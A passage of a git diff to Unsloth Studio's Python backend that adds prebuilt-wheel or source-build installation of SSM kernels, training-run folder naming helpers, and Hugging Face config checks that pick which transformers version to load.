(no-op when already installed).""" + if _is_importable(import_name): + logger.info("%s already installed", display_name) + return True + + env = probe_torch_wheel_env(timeout = 30) + wheel_url = direct_wheel_url( + filename_prefix = import_name, + package_version = package_version, + release_tag = release_tag, + release_base_url = release_base_url, + env = env, + ) + if wheel_url and url_exists(wheel_url): + _emit(status_cb, f"Installing {display_name} (prebuilt kernel) for this model...") + for installer, result in install_wheel( + wheel_url, + python_executable = sys.executable, + use_uv = bool(shutil.which("uv")), + run = run, + ): + if getattr(result, "returncode", 1) == 0: + # A wheel can install yet fail to import (CUDA/ABI mismatch); verify before + # trusting it, else source-build to match the local ABI. + if _is_importable(import_name): + logger.info("Installed prebuilt %s wheel", display_name) + return True + logger.warning( + "%s wheel installed but not importable; building from source", display_name + ) + break + logger.warning( + "%s could not install %s wheel:\n%s", + installer, + display_name, + getattr(result, "stdout", ""), + ) + else: + logger.info( + "No prebuilt %s wheel for this environment (%s); building from source", + display_name, + wheel_url, + ) + + # Source build (slow). ROCm has no prebuilt wheel and needs hipcc + a gcc-install-dir shim. + spec = f"{pypi_name}=={package_version}" + is_hip = bool((env or {}).get("hip_version")) + if is_hip and not shutil.which("hipcc"): + _emit(status_cb, f"{display_name}: hipcc not found; install the ROCm HIP SDK to build it.") + return False + _emit( + status_cb, + f"Building {display_name} from source for this model (this can take several minutes)...", + ) + # Reinstall so the source build replaces a broken wheel instead of no-opping as + # "already satisfied"; --no-cache avoids stale partial HIP build artifacts. + if shutil.which("uv"): + cmd = [ + "uv", + "pip", + "install", + "--python", + sys.executable, + "--no-build-isolation", + "--no-deps", + "--reinstall", + ] + if is_hip: + cmd.append("--no-cache") + cmd.append(spec) + else: + cmd = [ + sys.executable, + "-m", + "pip", + "install", + "--no-build-isolation", + "--no-deps", + "--no-cache-dir", + "--force-reinstall", + spec, + ] + + run_kwargs: dict[str, Any] = { + "stdout": subprocess.PIPE, + "stderr": subprocess.STDOUT, + "text": True, + } + if is_hip: + run_kwargs["timeout"] = 1800 # ROCm builds can take 10-30 min + existing = os.environ.get("HIPCC_COMPILE_FLAGS_APPEND", "") + if "--gcc-install-dir" not in existing: + gcc_dir = _hipcc_gcc_install_dir() + if gcc_dir: + _env = os.environ.copy() + _env["HIPCC_COMPILE_FLAGS_APPEND"] = ( + f"{existing} --gcc-install-dir={gcc_dir}".strip() + ) + run_kwargs["env"] = _env + try: + result = _run_with_heartbeat(run, cmd, status_cb, display_name, **run_kwargs) + except subprocess.TimeoutExpired: + logger.error("%s source build timed out", display_name) + _emit(status_cb, f"{display_name} source build timed out.") + return False + if getattr(result, "returncode", 1) != 0: + logger.warning("%s source install failed:\n%s", display_name, getattr(result, "stdout", "")) + return _is_importable(import_name) + + +def ensure_ssm_runtime( + model_name: str, + *, + status_cb: StatusCb = None, + run: Callable[..., Any] = subprocess.run, +) -> None: + """Install the SSM kernels *model_name* needs before load, wheel-first; a no-op for + non-SSM models and idempotent. Only a true SSM hybrid's ``mamba_ssm`` is fatal (raises + ``RuntimeError`` instead of a cryptic mid-load failure); ``causal_conv1d`` is best-effort + (Qwen3-Next/LFM2 fall back to torch). + """ + wants_causal_conv1d = model_wants_causal_conv1d(model_name) + is_ssm = model_is_ssm(model_name) + if not (wants_causal_conv1d or is_ssm): + return + + # No prebuilt Windows wheel: skip causal-conv1d on win32 (mirrors training) rather than + # dropping a chat load into a multi-minute source build for an optional fast path. + if wants_causal_conv1d and sys.platform == "win32": + logger.info( + "Skipping causal-conv1d on Windows (no prebuilt wheel); using the torch fallback" + ) + wants_causal_conv1d = False + + # causal-conv1d first (SSM modeling files lazy-import it; mamba-ssm's fast path uses it). + if wants_causal_conv1d and not _install_kernel( + import_name = "causal_conv1d", + display_name = "causal-conv1d", + pypi_name = "causal-conv1d", + package_version = CAUSAL_CONV1D_PACKAGE_VERSION, + release_tag = CAUSAL_CONV1D_RELEASE_TAG, + release_base_url = CAUSAL_CONV1D_RELEASE_BASE_URL, + status_cb = status_cb, + run = run, + ): + logger.warning("causal-conv1d unavailable; continuing on the model's torch fallback") + + if is_ssm and not _install_kernel( + import_name = "mamba_ssm", + display_name = "mamba-ssm", + pypi_name = "mamba-ssm", + package_version = MAMBA_SSM_PACKAGE_VERSION, + release_tag = MAMBA_SSM_RELEASE_TAG, + release_base_url = MAMBA_SSM_RELEASE_BASE_URL, + status_cb = status_cb, + run = run, + ): + raise RuntimeError("Could not install mamba-ssm, required by this Mamba model.") diff --git a/studio/backend/utils/training_runs.py b/studio/backend/utils/training_runs.py new file mode 100644 index 0000000000..dc2535e570 --- /dev/null +++ b/studio/backend/utils/training_runs.py @@ -0,0 +1,104 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Helpers for naming and describing Studio training runs.""" + +from __future__ import annotations + +import re +import time +from typing import Any, Optional + +_INVALID_SEGMENT_CHARS = re.compile(r"[^A-Za-z0-9._-]+") +_MAX_RUN_DIR_NAME_CHARS = 255 +_PROJECT_MARKER = "__project-" +_PROJECT_MARKER_ESCAPE = f"{_PROJECT_MARKER}-" + + +def _trim_segment(segment: str, max_chars: int) -> str: + if max_chars <= 0: + return "" + return segment[:max_chars].strip("._-") + + +def _escape_project_marker(segment: str) -> str: + return segment.replace(_PROJECT_MARKER, _PROJECT_MARKER_ESCAPE) + + +def _unescape_project_marker(segment: str) -> str: + return segment.replace(_PROJECT_MARKER_ESCAPE, _PROJECT_MARKER) + + +def _appended_project_marker_index(segment: str) -> int: + marker_index = segment.rfind(_PROJECT_MARKER) + while marker_index >= 0 and segment.startswith(_PROJECT_MARKER_ESCAPE, marker_index): + marker_index = segment.rfind(_PROJECT_MARKER, 0, marker_index) + return marker_index + + +def normalize_project_name(project_name: Any) -> Optional[str]: + """Return a trimmed project name, or None when empty/invalid.""" + if not isinstance(project_name, str): + return None + normalized = " ".join(project_name.strip().split()) + return normalized or None + + +def slugify_project_name(project_name: Any) -> Optional[str]: + """Convert a project name into a filesystem-safe suffix.""" + normalized = normalize_project_name(project_name) + if normalized is None: + return None + + slug = _INVALID_SEGMENT_CHARS.sub("-", normalized).strip("-._") + if not slug: + return None + return slug.lower() + + +def build_default_output_dir_name( + model_name: str, + project_name: Any = None, + *, + timestamp: Optional[int] = None, +) -> str: + """Build the default training output folder name.""" + from utils.paths import default_run_dir_name + + timestamp_part = str(int(time.time() if timestamp is None else timestamp)) + timestamp_suffix = f"_{timestamp_part}" + model_segment = _escape_project_marker(default_run_dir_name(model_name)) + project_slug = slugify_project_name(project_name) + if not project_slug: + max_model_chars = _MAX_RUN_DIR_NAME_CHARS - len(timestamp_suffix) + model_segment = _trim_segment(model_segment, max_model_chars) or "model" + return f"{model_segment}{timestamp_suffix}" + + max_project_chars = ( + _MAX_RUN_DIR_NAME_CHARS - len("model") - len(_PROJECT_MARKER) - len(timestamp_suffix) + ) + project_slug = _trim_segment(project_slug, max_project_chars) or "project" + project_suffix = f"{_PROJECT_MARKER}{project_slug}{timestamp_suffix}" + max_model_chars = _MAX_RUN_DIR_NAME_CHARS - len(project_suffix) + model_segment = _trim_segment(model_segment, max_model_chars) or "model" + return f"{model_segment}{project_suffix}" + + +def model_segment_from_default_output_dir_name(output_dir_name: str) -> Optional[str]: + """Return the encoded model segment from a default run folder name.""" + parts = str(output_dir_name or "").rsplit("_", 1) + if len(parts) != 2 or not parts[1].isdigit(): + return None + model_segment = parts[0] + marker_index = _appended_project_marker_index(model_segment) + if marker_index >= 0: + model_segment = model_segment[:marker_index] + model_segment = _unescape_project_marker(model_segment) + return model_segment or None + + +def extract_project_name(config: Any) -> Optional[str]: + """Read and normalize a project name from a stored config dict.""" + if not isinstance(config, dict): + return None + return normalize_project_name(config.get("project_name")) diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py index a20fefbc39..a69673f081 100644 --- a/studio/backend/utils/transformers_version.py +++ b/studio/backend/utils/transformers_version.py @@ -5,7 +5,9 @@ Some newer model architectures (Ministral-3, GLM-4.7-Flash, Qwen3-30B-A3B MoE, tiny_qwen3_moe) require transformers>=5.3.0, while Gemma 4 models require a -newer 5.x sidecar. Everything else needs the default 4.57.x that ships with +newer 5.x sidecar. Dense NemotronH models (e.g. NVIDIA-Nemotron-3-Nano-4B) use +MLP layers that only transformers>=5.10 can parse natively, so they go on the +5.10 sidecar too. Everything else needs the default 4.57.x that ships with Unsloth. Two separate target directories are maintained: @@ -26,7 +28,9 @@ Strategy: sys.path swap using the same directories pre-installed by setup.sh. """ +import ast import importlib +import importlib.util import json import structlog from loggers import get_logger @@ -44,13 +48,71 @@ from utils.subprocess_compat import ( logger = get_logger(__name__) +_OFFLINE_TRUE_VALUES = {"1", "true", "yes", "on"} + + def _env_offline() -> bool: - """True if HF_HUB_OFFLINE or TRANSFORMERS_OFFLINE is set to a truthy value.""" - return os.environ.get("HF_HUB_OFFLINE", "").lower() in ( - "1", - "true", - "yes", - ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes") + """True if an HF offline env var is truthy (canonical strip+lower parse); gates the urllib fetches below.""" + return ( + os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES + or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES + ) + + +def hf_endpoint_unreachable(timeout: int = 3) -> bool: + """Bounded reachability probe to the HF endpoint. A HEAD request runs in a daemon thread + joined with a deadline, so a resolver blackhole cannot block past ~timeout+1s. True if + unreachable. urllib natively honors *_PROXY / NO_PROXY, so this verifies real egress + (the proxy can reach HF), not just that the proxy is up. No ML imports, so it is safe to + call before transformers version activation. Mirrors the probe in export._hf_offline.""" + import ssl + import threading + import urllib.error + import urllib.request + + endpoint = os.environ.get("HF_ENDPOINT", "https://huggingface.co") + if "://" not in endpoint: + endpoint = "https://" + endpoint + + result = {"online": False} + + def _probe(): + try: + req = urllib.request.Request(endpoint, method = "HEAD") + with urllib.request.urlopen(req, timeout = timeout): + result["online"] = True + except urllib.error.HTTPError as exc: + # The server/proxy answered: reachable unless it is a gateway error. + result["online"] = exc.code not in (502, 503, 504) + except urllib.error.URLError as exc: + # A TLS/cert failure means we DID reach the server; treat as reachable so the real + # load surfaces it (consistent with _is_offline_related_error not retrying TLS). + result["online"] = isinstance(exc.reason, ssl.SSLError) + except ssl.SSLError: + result["online"] = True + except Exception: + result["online"] = False + + t = threading.Thread(target = _probe, daemon = True) + t.start() + t.join(timeout + 1) + return t.is_alive() or not result["online"] + + +def _safe_is_file(p: Path) -> bool: + """``p.is_file()`` returning False instead of raising on a bad path.""" + try: + return p.is_file() + except (OSError, ValueError): + return False + + +def _safe_is_dir(p: Path) -> bool: + """``p.is_dir()`` returning False instead of raising on a bad path.""" + try: + return p.is_dir() + except (OSError, ValueError): + return False # --------------------------------------------------------------------------- @@ -103,18 +165,51 @@ _TRANSFORMERS_550_MODEL_TYPES: set[str] = { "gemma4", } +# Architecture classes / model_type values that require transformers 5.3.0. +# Checked via config.json (local or HuggingFace). +_TRANSFORMERS_530_ARCHITECTURES: set[str] = { + "Qwen3_5ForCausalLM", + "Qwen3_5ForConditionalGeneration", + "Qwen3_5MoeForCausalLM", + "Qwen3_5MoeForConditionalGeneration", + "Qwen3MoeForCausalLM", + "Qwen3NextForCausalLM", + "Glm4MoeLiteForCausalLM", + "Lfm2MoeForCausalLM", + "Lfm2VlForConditionalGeneration", +} +_TRANSFORMERS_530_MODEL_TYPES: set[str] = { + "qwen3_5", + "qwen3_5_text", + "qwen3_5_moe", + "qwen3_5_moe_text", + "qwen3_moe", + "qwen3_next", + "glm4_moe_lite", + "lfm2_moe", + "lfm2_vl", +} + # Tokenizer classes that only exist in transformers>=5.x. _TRANSFORMERS_5_TOKENIZER_CLASSES: set[str] = { "TokenizersBackend", } -# Cache for dynamic tokenizer_config.json lookups (avoids repeated fetches). -_tokenizer_class_cache: dict[str, bool] = {} - -# config.json cache keyed on (model_name, token-hash) so authed/unauthed reads stay separate. +# Caches keyed on (model_name, token-hash) so authed/unauthed reads stay separate (a +# gated/private repo's unauthenticated miss must not poison a later authenticated lookup). +# Offline negatives are NOT written (see the _env_offline branches) so they cannot poison a +# later online read in this persistent worker. +_tokenizer_class_cache: dict[tuple[str, str | None], bool] = {} _config_json_cache: dict[tuple[str, str | None], dict | None] = {} -_config_needs_510_cache: dict[str, bool] = {} -_config_needs_550_cache: dict[str, bool] = {} +_config_needs_510_cache: dict[tuple[str, str | None], bool] = {} +_config_needs_550_cache: dict[tuple[str, str | None], bool] = {} +_config_needs_530_cache: dict[tuple[str, str | None], bool] = {} + +# AutoConfig-probe tier cache for the process lifetime (cleared on restart), keyed by +# model_name plus a local config.json signature (see _probe_cache_key) so an overwritten +# checkpoint re-probes. Not keyed by Hub sha, so the probe never imports huggingface_hub +# before a worker's sidecar venv is activated (which would pin the wrong hub). +_probe_tier_cache: dict[str, str] = {} # Versions TRANSFORMERS_510_VERSION = "5.10.2" @@ -135,17 +230,42 @@ _VENV_T5_510_DIR = str(_studio_root() / ".venv_t5_510") # Backwards-compat alias _VENV_T5_DIR = _VENV_T5_550_DIR +# llm-compressor-main shadow for FP8/FP4 export of newer-transformers models. Like the .venv_t5_* +# sidecars but also shadows llm-compressor main + compressed-tensors; installed --no-deps so it +# reuses the workspace torch (torch-agnostic). +_VENV_LLMCOMPRESSOR_DIR = str(_studio_root() / ".venv_llmcompressor") -def activate_transformers_for_subprocess(model_name: str) -> None: +# Tier precedence: higher rank wins in _higher_tier. +_TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3} + + +def _higher_tier(a: str, b: str) -> str: + return a if _TIER_RANK.get(a, 0) >= _TIER_RANK.get(b, 0) else b + + +def activate_transformers_for_subprocess(model_name: str, hf_token: str | None = None) -> None: """Activate the correct transformers version in a subprocess worker. Call BEFORE any ML imports. Resolves LoRA adapters to their base model, determines the required tier, prepends the appropriate ``.venv_t5_*`` dir to ``sys.path``, and propagates it via ``PYTHONPATH`` for child processes (e.g. GGUF converter). Used by training, inference, and export workers. + + ``hf_token`` is forwarded to tier detection so a gated/private model whose only 5.x + signal is an authenticated config/tokenizer reaches the right sidecar, not the default. """ - resolved = _resolve_base_model(model_name) - tier = get_transformers_tier(resolved) + # Pre-resolve only LoRA adapters; full checkpoints go to get_transformers_tier so their + # local config.json drives the tier (a full checkpoint with a private/offline + # _name_or_path must not resolve to an unreachable HF id and skip its own config). + if _is_lora_adapter_dir(Path(model_name)): + resolved = _resolve_base_model(model_name) + else: + resolved = model_name + tier = get_transformers_tier(resolved, hf_token) + if model_name != resolved and _safe_is_file(Path(model_name) / "config.json"): + # Gate on a real local config.json: a checkpoint carries config the base may not + # surface, but path names alone must not upgrade a plain adapter. + tier = _higher_tier(tier, get_transformers_tier(model_name, hf_token)) if tier == "510": if not _ensure_venv_t5_510_exists(): @@ -202,6 +322,35 @@ def activate_transformers_for_subprocess(model_name: str) -> None: logger.info("Using default transformers (4.57.x) for %s", model_name) +def _has_adapter_weights(path: Path) -> bool: + """True if *path* holds LoRA adapter weight files (``adapter_model.*``).""" + try: + return any(path.glob("adapter_model*.safetensors")) or any(path.glob("adapter_model*.bin")) + except OSError: + return False + + +def _is_lora_adapter_dir(path: Path) -> bool: + """True if *path* is a local LoRA dir (adapter_config.json or adapter_model-only + weights). Import-light so it can run during subprocess activation.""" + try: + if not path.is_dir(): + return False + return (path / "adapter_config.json").is_file() or _has_adapter_weights(path) + except OSError: + return False + + +def _is_same_path(value: str, local_path: Path) -> bool: + """True if *value* resolves to *local_path* (relative/absolute/symlink).""" + if value == str(local_path): + return True + try: + return os.path.realpath(value) == os.path.realpath(str(local_path)) + except OSError: + return False + + def _resolve_base_model(model_name: str) -> str: """If *model_name* points to a LoRA adapter, return its base model. @@ -213,7 +362,7 @@ def _resolve_base_model(model_name: str) -> str: # --- Fast local check --------------------------------------------------- local_path = Path(model_name) adapter_cfg_path = local_path / "adapter_config.json" - if adapter_cfg_path.is_file(): + if _safe_is_file(adapter_cfg_path): try: with open(adapter_cfg_path) as f: cfg = json.load(f) @@ -230,24 +379,27 @@ def _resolve_base_model(model_name: str) -> str: # --- config.json fallback (works for both LoRA and full fine-tune) ------ config_json_path = local_path / "config.json" - if config_json_path.is_file(): + if _safe_is_file(config_json_path): try: with open(config_json_path) as f: cfg = json.load(f) - # Unsloth writes "model_name"; HF writes "_name_or_path" - base = cfg.get("model_name") or cfg.get("_name_or_path") - if base and base != str(local_path): - logger.info( - "Resolved checkpoint '%s' → base model '%s' (via config.json)", - model_name, - base, - ) - return base + # Unsloth writes model_name, HF writes _name_or_path; skip a self-reference. + for _key in ("model_name", "_name_or_path"): + base = cfg.get(_key) + if isinstance(base, str) and base and not _is_same_path(base, local_path): + logger.info( + "Resolved checkpoint '%s' → base model '%s' (via config.json)", + model_name, + base, + ) + return base except Exception as exc: logger.debug("Could not read %s: %s", config_json_path, exc) - # --- Only try the heavier fallback for local directories ---------------- - if local_path.is_dir(): + # Gate the heavy resolver on adapter_config.json: importing utils.models pulls + # in transformers, which would pin the default into sys.modules before the + # sidecar venv is prepended during activation. + if _safe_is_file(adapter_cfg_path): try: from utils.models import get_base_model_from_lora base = get_base_model_from_lora(model_name) @@ -266,23 +418,145 @@ def _resolve_base_model(model_name: str) -> str: exc, ) + # adapter_model-only LoRA: no config to resolve from, so use the + # unsloth__ dir-name convention (pure string parse). + if local_path.name.startswith("unsloth_") and _has_adapter_weights(local_path): + parts = local_path.name.split("_") + if len(parts) >= 2: # unsloth__ + base = "unsloth/" + "_".join(parts[1:-1]) + logger.info( + "Resolved adapter-only LoRA '%s' → base model '%s' (via directory name)", + model_name, + base, + ) + return base + return model_name -def _check_tokenizer_config_needs_v5(model_name: str) -> bool: +def _token_cache_key(model_name: str, hf_token: str | None) -> tuple[str, str | None]: + """Cache key that keeps authenticated and unauthenticated reads separate, so an + unauthenticated miss on a gated/private repo never poisons a later authed lookup.""" + import hashlib + + tok = hashlib.sha256(hf_token.encode()).hexdigest()[:16] if hf_token else None + return (model_name, tok) + + +def _is_canonical_repo_id(model_name: str) -> bool: + """True for a canonical ``owner/repo`` Hub id (not a local or relative path).""" + return bool( + model_name + and model_name.count("/") == 1 + and model_name[0] not in "/.~" + and "\\" not in model_name + ) + + +def _adapter_base_from_hf_cache(model_name: str) -> str | None: + """``base_model_name_or_path`` from a remote adapter's cached ``adapter_config.json``. + + Stdlib path resolution of the HF hub cache (no ``huggingface_hub`` import); the newest + snapshot wins. Lets an offline cached LoRA still resolve its base. + """ + if not _is_canonical_repo_id(model_name): + return None + hub = ( + os.environ.get("HF_HUB_CACHE") + or os.environ.get("HUGGINGFACE_HUB_CACHE") + or os.path.join( + os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"), "hub" + ) + ) + repo_dir = Path(hub) / ("models--" + model_name.replace("/", "--")) + candidates = [] + ref_main = repo_dir / "refs" / "main" + + def _mtime(p: Path) -> float: + try: + return p.stat().st_mtime + except OSError: + return 0.0 + + try: + if ref_main.is_file(): + candidates.append( + repo_dir / "snapshots" / ref_main.read_text().strip() / "adapter_config.json" + ) + candidates += sorted( + repo_dir.glob("snapshots/*/adapter_config.json"), key = _mtime, reverse = True + ) + for cfg_path in candidates: + if cfg_path.is_file(): + base = json.loads(cfg_path.read_text()).get("base_model_name_or_path") + return base or None + except Exception as exc: + logger.debug("HF cache adapter_config.json lookup failed for '%s': %s", model_name, exc) + return None + + +def _remote_lora_base(model_name: str, hf_token: str | None = None) -> str | None: + """``base_model_name_or_path`` from a remote adapter's ``adapter_config.json``, or None. + + Raw HTTP (no huggingface_hub / transformers import), so a remote LoRA's base is known + before any ML import. Offline (or on a transient failure) it reads the local hub cache, + since a cached adapter is still loadable; a definitive 404 returns None (the repo is not + a LoRA) rather than a stale cached base. Skipped for local/non-canonical ids. + """ + if not _is_canonical_repo_id(model_name): + return None + try: + from utils.paths import is_local_path + if is_local_path(model_name): + return None # an existing relative path is a local checkpoint, not a Hub repo + except Exception: + pass + if _env_offline(): + return _adapter_base_from_hf_cache(model_name) + + import urllib.error + import urllib.request + + endpoint = (os.environ.get("HF_ENDPOINT") or "https://huggingface.co").rstrip("/") + url = f"{endpoint}/{model_name}/raw/main/adapter_config.json" + headers = {"User-Agent": "unsloth-studio"} + if hf_token: + headers["Authorization"] = f"Bearer {hf_token}" + try: + req = urllib.request.Request(url, headers = headers) + with urllib.request.urlopen(req, timeout = 10) as resp: + cfg = json.loads(resp.read().decode()) + base = cfg.get("base_model_name_or_path") + if base: + logger.info("Resolved remote LoRA adapter '%s' → base model '%s'", model_name, base) + return base or None + except urllib.error.HTTPError as exc: + if exc.code == 404: + return None # definitively not a LoRA; do not serve a stale cached base + logger.debug("adapter_config.json fetch failed for '%s': %s", model_name, exc) + return _adapter_base_from_hf_cache(model_name) + except Exception as exc: + logger.debug("No remote adapter_config.json for '%s': %s", model_name, exc) + return _adapter_base_from_hf_cache(model_name) + + +def _check_tokenizer_config_needs_v5(model_name: str, hf_token: str | None = None) -> bool: """True if the model's tokenizer_class requires transformers 5.x. - Checks local tokenizer_config.json, else fetches from HuggingFace. Cached in - ``_tokenizer_class_cache``. Returns False on any network/parse error + Checks local tokenizer_config.json, else fetches from HuggingFace (authenticated + with ``hf_token`` so gated/private repos resolve). Cached in + ``_tokenizer_class_cache``, keyed by (model, token) so an unauthenticated miss does + not poison a later authed read. Returns False on any network/parse error (fail-open to default version). """ - if model_name in _tokenizer_class_cache: - return _tokenizer_class_cache[model_name] + cache_key = _token_cache_key(model_name, hf_token) + if cache_key in _tokenizer_class_cache: + return _tokenizer_class_cache[cache_key] # --- Check local tokenizer_config.json first --------------------------- local_path = Path(model_name) local_tc = local_path / "tokenizer_config.json" - if local_tc.is_file(): + if _safe_is_file(local_tc): try: with open(local_tc) as f: data = json.load(f) @@ -294,22 +568,30 @@ def _check_tokenizer_config_needs_v5(model_name: str) -> bool: model_name, tokenizer_class, ) - _tokenizer_class_cache[model_name] = result + _tokenizer_class_cache[cache_key] = result return result except Exception as exc: logger.debug("Could not read %s: %s", local_tc, exc) - # Offline: skip the 10s urllib fetch (fail-open to lower tier). + # Local checkpoint without the file yet: don't fetch it as a Hub id or cache the miss, + # so a file written later this process (in-progress checkpoint) is read next call. + if _safe_is_dir(local_path): + return False + + # Offline: skip the 10s urllib fetch (fail-open to lower tier). Do NOT cache this + # assumed negative, so a later online read of the same id re-fetches the real value. if _env_offline(): - _tokenizer_class_cache[model_name] = False return False # --- Fall back to fetching from HuggingFace ---------------------------- import urllib.request url = f"https://huggingface.co/{model_name}/raw/main/tokenizer_config.json" + headers = {"User-Agent": "unsloth-studio"} + if hf_token: + headers["Authorization"] = f"Bearer {hf_token}" try: - req = urllib.request.Request(url, headers = {"User-Agent": "unsloth-studio"}) + req = urllib.request.Request(url, headers = headers) with urllib.request.urlopen(req, timeout = 10) as resp: data = json.loads(resp.read().decode()) tokenizer_class = data.get("tokenizer_class", "") @@ -320,20 +602,64 @@ def _check_tokenizer_config_needs_v5(model_name: str) -> bool: model_name, tokenizer_class, ) - _tokenizer_class_cache[model_name] = result + _tokenizer_class_cache[cache_key] = result return result except Exception as exc: logger.debug("Could not fetch tokenizer_config.json for '%s': %s", model_name, exc) - _tokenizer_class_cache[model_name] = False + _tokenizer_class_cache[cache_key] = False return False +def _safe_mtime(path: Path) -> float: + try: + return path.stat().st_mtime + except OSError: + return 0.0 + + +def _config_json_from_hf_cache(model_name: str) -> dict | None: + """Parsed ``config.json`` from the local HF hub cache, or None. + + Stdlib-only path resolution (no ``huggingface_hub`` import) so tier detection never + loads the default-env hub before a sidecar venv is activated. + """ + # Only a canonical ``owner/repo`` Hub id maps to a cache dir; reject local paths. + if not model_name or model_name.count("/") != 1 or model_name[0] in "/.~" or "\\" in model_name: + return None + hub = ( + os.environ.get("HF_HUB_CACHE") + or os.environ.get("HUGGINGFACE_HUB_CACHE") + or os.path.join( + os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"), "hub" + ) + ) + repo_dir = Path(hub) / ("models--" + model_name.replace("/", "--")) + candidates = [] + ref_main = repo_dir / "refs" / "main" + try: + if ref_main.is_file(): + candidates.append(repo_dir / "snapshots" / ref_main.read_text().strip() / "config.json") + # No refs/main (e.g. commit-pinned downloads): newest snapshot by mtime, not a stale + # lexicographically-first SHA, matching what the Hub cache would actually load. + candidates += sorted( + repo_dir.glob("snapshots/*/config.json"), key = _safe_mtime, reverse = True + ) + for cfg_path in candidates: + if cfg_path.is_file(): + with open(cfg_path) as f: + return json.load(f) + except Exception as exc: + logger.debug("HF cache config.json lookup failed for '%s': %s", model_name, exc) + return None + + def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | None: """Return parsed ``config.json`` for *model_name*, checking local files first. ``hf_token`` authenticates the raw fetch so gated/private repos resolve. The cache is keyed on the token so an unauthenticated miss never poisons a later - authenticated read. + authenticated read. The HF hub cache is consulted only offline or after a failed + network fetch, so an online read never serves stale metadata. """ import hashlib @@ -343,7 +669,7 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No return _config_json_cache[cache_key] local_cfg = Path(model_name) / "config.json" - if local_cfg.is_file(): + if _safe_is_file(local_cfg): try: with open(local_cfg) as f: cfg = json.load(f) @@ -354,10 +680,20 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No _config_json_cache[cache_key] = None return None - if _env_offline(): - _config_json_cache[cache_key] = None + # Local checkpoint without the file yet: don't fetch it as a Hub id or cache the miss, + # so a file written later this process (in-progress checkpoint) is read next call. + if _safe_is_dir(Path(model_name)): return None + if _env_offline(): + # No network: a previously downloaded repo can still tier from the hub cache. Cache a + # real hit, but never the miss (None) so a later online read still fetches the config. + cfg = _config_json_from_hf_cache(model_name) + if cfg is not None: + _config_json_cache[cache_key] = cfg + return cfg + + import urllib.error import urllib.request url = f"https://huggingface.co/{model_name}/raw/main/config.json" @@ -370,19 +706,33 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No cfg = json.loads(resp.read().decode()) _config_json_cache[cache_key] = cfg return cfg + except urllib.error.HTTPError as exc: + # 401/403/404 is a definitive access answer: never serve another caller's cached + # private metadata to an unauthenticated/wrong-token request. + if exc.code in (401, 403, 404): + logger.debug("config.json access denied for '%s': %s", model_name, exc) + return None + logger.debug("Could not fetch config.json for '%s': %s", model_name, exc) + return _config_json_from_hf_cache(model_name) except Exception as exc: logger.debug("Could not fetch config.json for '%s': %s", model_name, exc) - _config_json_cache[cache_key] = None - return None + # Transient: serve the hub cache uncached so the next call retries the network. + return _config_json_from_hf_cache(model_name) + + +def _config_json_is_definitive(model_name: str, hf_token: str | None = None) -> bool: + """True if the last ``_load_config_json`` read for this model+token was cached + (definitive), not a transient fallback (not stored, so callers re-check next call).""" + return _token_cache_key(model_name, hf_token) in _config_json_cache def _config_matches_tier(cfg: dict, architectures: set[str], model_types: set[str]) -> bool: - archs = cfg.get("architectures", []) - if any(a in architectures for a in archs): + # Defensive: a malformed config may carry non-string values (e.g. list model_type). + archs = cfg.get("architectures") + if isinstance(archs, (list, tuple)) and any(a in architectures for a in archs): return True - if cfg.get("model_type") in model_types: - return True - return False + mt = cfg.get("model_type") + return isinstance(mt, str) and mt in model_types def _config_needs_550(cfg: dict) -> bool: @@ -393,30 +743,57 @@ def _config_needs_550(cfg: dict) -> bool: ) +_NESTED_CONFIG_KEYS = ("llm_config", "text_config", "language_config", "thinker_config") + + +def _nemotron_h_needs_mlp_support(cfg: dict) -> bool: + """True for a dense NemotronH config using MLP (``-``) layers. + + transformers only gained ``-`` -> ``mlp`` in 5.10; 5.3/5.5 raise ``KeyError: '-'``. + Read from ``hybrid_override_pattern`` or ``layers_block_type``, recursing into nested + language configs (VL wrappers hold the dense LM under ``llm_config``/``text_config``). + """ + if not isinstance(cfg, dict): + return False + if cfg.get("model_type") == "nemotron_h": + pattern = cfg.get("hybrid_override_pattern") + if isinstance(pattern, str) and "-" in pattern: + return True + block_types = cfg.get("layers_block_type") + if isinstance(block_types, (list, tuple)) and "mlp" in block_types: + return True + return any(_nemotron_h_needs_mlp_support(cfg.get(key)) for key in _NESTED_CONFIG_KEYS) + + def _config_needs_510(cfg: dict) -> bool: - return _config_matches_tier( + if _config_matches_tier( cfg, _TRANSFORMERS_510_ARCHITECTURES, _TRANSFORMERS_510_MODEL_TYPES, + ): + return True + return _nemotron_h_needs_mlp_support(cfg) + + +def _config_needs_530(cfg: dict) -> bool: + return _config_matches_tier( + cfg, + _TRANSFORMERS_530_ARCHITECTURES, + _TRANSFORMERS_530_MODEL_TYPES, ) -def _check_config_needs_550(model_name: str) -> bool: - """True if ``config.json`` has architectures/model_type needing transformers - 5.5.0 (e.g. Gemma 4). - - Checks locally first, else fetches from HuggingFace. Cached in - ``_config_needs_550_cache``. Returns False on any error (fail-open to lower tier). +def _check_config_needs_550(model_name: str, hf_token: str | None = None) -> bool: + """True if ``config.json`` needs transformers 5.5.0 (e.g. Gemma 4). Local first, else + fetched (authenticated with ``hf_token``); cached by (model, token) only for a definitive + read so a transient miss retries. False on error. """ - if model_name in _config_needs_550_cache: - return _config_needs_550_cache[model_name] + cache_key = _token_cache_key(model_name, hf_token) + if cache_key in _config_needs_550_cache: + return _config_needs_550_cache[cache_key] - cfg = _load_config_json(model_name) - if cfg is None: - _config_needs_550_cache[model_name] = False - return False - - result = _config_needs_550(cfg) + cfg = _load_config_json(model_name, hf_token) + result = bool(cfg) and _config_needs_550(cfg) if result: logger.info( "config.json check: %s needs transformers %s (architectures=%s, model_type=%s)", @@ -425,21 +802,44 @@ def _check_config_needs_550(model_name: str) -> bool: 